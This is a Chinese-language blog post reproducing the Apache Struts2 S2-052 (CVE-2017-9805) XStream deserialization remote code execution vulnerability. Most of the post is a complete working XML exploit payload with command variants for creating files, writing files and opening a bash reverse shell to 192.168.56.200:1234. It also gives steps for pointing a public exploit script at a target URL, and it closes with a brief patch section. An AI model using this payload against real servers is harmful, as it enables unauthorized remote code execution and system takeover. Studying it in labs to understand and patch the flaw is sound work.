首页 > 其他分享 >S2-052 CVE-2017-9805 远程代码执行

S2-052 CVE-2017-9805 远程代码执行

时间:2023-01-11 09:44:32浏览次数:54  
标签:xml false stream S2 9805 addPermission 代码执行 new 052

漏洞名称

S2-052 CVE-2017-9805 远程代码执行

利用条件

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

漏洞利用

命令执行

poc

注意一 替换 Content-Type头的内容字段为application/xml

注意二 增加xml字段内容

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
  <command><string>你要执行的代码</string></command> 

创建文件

<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>

image-20230110171443720

image-20230110171509660

image-20230110171753807

写入内容到文件

<string>bash</string>
<string>-c</string>
<string>echo xiaoxin > /tmp/test.txt</string>

image-20230110174236967

image-20230110174248323

反弹shell

<command>
<string>bash</string>
                <string>-c</string>
                <string>bash -i &gt;&amp; /dev/tcp/192.168.56.200/1234 0&gt;&amp;1</string>
</command>

image-20230110182145354

image-20230110182234291

工具反弹shell

https://github.com/Vancir/s2-052-reproducing

更改exploit.py中的url地址

image-20230110183757462

image-20230110183646874

image-20230110183729577

修复建议

struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
    if (invocation.getAction() instanceof ModelDriven) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
    }
    stream.addPermission(NullPermission.NULL);
    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
    stream.addPermission(ArrayTypePermission.ARRAYS);
    stream.addPermission(CollectionTypePermission.COLLECTIONS);
    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}

但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。

参考文章

https://github.com/Vancir/s2-052-reproducing

https://blog.csdn.net/weixin_41082546/article/details/102212059

标签:xml,false,stream,S2,9805,addPermission,代码执行,new,052
From: https://www.cnblogs.com/crayonxiaoxin/p/17041158.html

相关文章

  • Hadoop生态元数据管理平台——Atlas2.3.0发布!
    大家好,我是独孤风。今天我们来聊一下另一个元数据管理平台ApacheAtlas。Atlas其实有一些年头了,是在2015年的时候就开源。相对于Datahub来说,Atlas显得有一些“老”了,社......
  • Docusaurus2搭建博客及入门使用
    ##开始上手[官方文档](https://docusaurus.io/zh-CN/docs/category/getting-started)##hexo博客转换为Docusaurus2博客hexo博客可以轻松的转换为Docusauru......
  • VS2022 Visual Assist 小番茄 设置强调色透明度
    这个估计你们找不到位置小番茄的RGBA其实是RGB~A也就是不透明度所以正常要设定为FFRRGGBB即可字体透明但是正常不可设置懒得逆向VAX代码...建议everything直接搜A......
  • windows10下QT5.9.9安装和在VS2019中环境部署(保姆级教程)
    https://www.cnblogs.com/unicornsir/articles/16825578.html1.下载QT5.9.92.安装QT,最好提前注册号一个QT账号(不提前注册也可以,看后面操作)3.在VS2019中部署QT5.9.94.......
  • VS2013+Qt5.9.0配置过程
    https://www.likecs.com/show-204435170.html#sc=4494 VS2013+Qt5.9.0配置过程准备工作下载VS2013与Qt5.9.0,下载vsaddin插件配置步骤要想在VS中使用Qt做界......
  • struts2_day01
    Struts2第一天Struts2的学习路线1.Struts2的入门:主要是学习Struts2的开发流程(Struts2的开发流程、常见的配置、Action类的编写)2.Struts2的Servlet的API、参数封装和拦截器......
  • S2-017 CVE-2013-2248
    漏洞名称ApacheStruts多个开放重定向漏洞(CVE-2013-2248)s2-017利用条件Struts2.0.0-Struts2.3.15漏洞原理通过操作前缀为“redirect:”/“redirectAction:”的......
  • S2-013 CVE-2013-1966
    漏洞名称S2-013CVE-2013-1966远程命令执行利用条件Struts2.0.0-Struts2.3.14.1漏洞原理Struts2标签中<s:a>和<s:url>都包含一个includeParams属性,可以设......
  • S2-012 CVE-2013-1965
    漏洞名称S2-012(CVE-2013-1965)远程代码执行利用条件StrutsShowcaseApp2.0.0-StrutsShowcaseApp2.3.14.2影响版本:Struts2.1.0-2.3.13漏洞原理如果在配置A......
  • S2 - Lesson 16 - A polite request
    Wordsparkparkyourcarinthewrongplace. parkingsigns reminderremindthisnoteisonlyareminder failfailtodosth.failtoobeyit.theyfai......